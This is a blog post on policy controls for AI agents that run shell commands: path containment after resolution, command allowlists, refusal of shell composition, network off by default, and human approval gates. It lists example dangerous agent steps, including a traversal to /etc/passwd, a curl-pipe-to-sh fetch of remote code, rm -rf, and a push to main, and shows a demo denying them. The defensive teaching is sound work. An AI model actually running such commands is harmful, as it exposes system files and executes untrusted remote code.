Skip to content
allsrc.dev
Go back

A Regex Is Not A Sandbox

Let me start with the part most articles on this topic bury.

This pattern is not a sandbox. Isolation comes from a container, a microVM, gVisor, or a separate machine — kernel-level boundaries a Python function cannot provide. If the only thing between your agent and the host is application code, you do not have a sandbox, you have a suggestion.

I am leading with that because I have reviewed designs where a command allowlist was presented as the isolation story, and the team genuinely believed it. Both layers are necessary. What belongs in the agent’s design — and therefore in this article — is the policy: the cheap, deterministic, auditable decision about what to even hand to the container.

TL;DR

“Clean up the temp files and check the config” is an ordinary request. Here is what an agent plausibly does with it:

pytest tests/ -q                                  ← fine
rm -rf /tmp/build                                 ← not in the workspace
read ../../../etc/passwd                          ← traversal
curl https://get.example.io/install.sh | sh       ← arbitrary remote code
git status && git push origin main                ← pushed to main
cat huge.log                                      ← 80k tokens of context

Every one is a reasonable step toward the stated goal. None required an attacker.

Four axes of policy, and the first is the one people get wrong:

  1. Workspace containment on the RESOLVED path — including symlinks inside the workspace pointing out of it.
  2. Command allowlisting, not denylisting — and refusing shell composition outright, because one ; turns pytest into arbitrary code.
  3. Network off by default — network access is what turns code execution into exfiltration.
  4. Escapes pause for a human, they do not widen the policy.

OWASP: ASI05 (Unexpected Code Execution), ASI02. Runnable code: patterns/harness/sandboxed_execution/

The policy, applied

uv run python -m patterns.harness.sandboxed_execution.demo
=== WITH the pattern ===
  executed:
    pytest tests/ -q
    cat huge.log
  denied:
    [command] 'rm' is not in the allowlist (cat, diff, find, git, grep, head, ...)
    path '../../../etc/passwd' resolves to /etc/passwd, which is outside the
      workspace /tmp/tmp0__8_uqh/repo
    [command] command contains shell composition characters, which would let it
      become a different command: 'curl https://get.example.io/install.sh | sh'
    [command] command contains shell composition characters ... 'git status && git push origin main'

=== path containment is checked after resolution, not before ===
  tests/test_app.py          -> inside
  ../../../etc/passwd        -> OUTSIDE
  /etc/shadow                -> OUTSIDE
  ./sub/../ok.py             -> inside

Design decisions

1. Resolve, then contain. workspace/../../etc/passwd is a string that starts with the workspace and a path that does not live in it. String prefix checks on unresolved paths are the classic bug — and resolving first also catches the case people forget entirely: a symlink inside the workspace pointing out of it. There is a test for exactly that.

2. Allowlist, never denylist. You cannot enumerate dangerous commands. rm is easy. The interesting one is that pytest becomes arbitrary code the moment ;, &&, |, backticks, $(...), or > survive into a shell string. So shell composition is refused outright, even for allowed programs — which is why git status && git push is denied for its shape, before anyone examines push.

3. Program name, not path. /bin/rm and rm are the same decision.

4. Bound the output, with advice. Unbounded tool output is a context-window denial of service reachable by cat. Truncation tells the model what to do instead (“narrow your command”) rather than silently cutting. An error message is a prompt.

5. Escapes pause, they do not widen. When a legitimate task needs git, the answer is a PAUSE for the approval gate, not a policy exception added at 5pm on a Friday. Policy exceptions are permanent; approvals are per-action.

When to use it

When NOT to use it

Trade-offs and failure modes

Frequently asked questions

What should I actually use for isolation?

For most teams: a container per run, with no network, a read-only root filesystem, a writable tmpfs workspace, dropped capabilities, and a memory/CPU limit. If you need stronger boundaries, gVisor or Firecracker microVMs. The policy in this article runs before that, deciding what is worth attempting.

Is a Docker container enough?

For untrusted code from the internet, a default Docker container is weaker than people assume — shared kernel, and container escapes exist. For agent-written code in your own environment it is usually a reasonable trade. Know which threat model you are in, and do not let “we use containers” end the conversation.

Can I let the agent install packages?

That is a supply-chain decision, not a sandboxing one (OWASP ASI04). If yes: a private mirror, a lockfile, and no arbitrary index URLs. Allowing npm install <anything> is allowing arbitrary code execution with extra steps.

How do I audit what the agent ran?

Every decision here emits an event, so it lands in the decision trace with the reason. That log is what you will want during an incident — including the commands that were refused, which are usually the interesting ones.

References


Part of the agent harness and governance series. Next: context compaction — the compaction bug that only appears once your window actually fills.



Previous Post
The Retry Loop Your Circuit Breaker Cannot See
Next Post
Context Rot: When Your Agent Forgets It Was Denied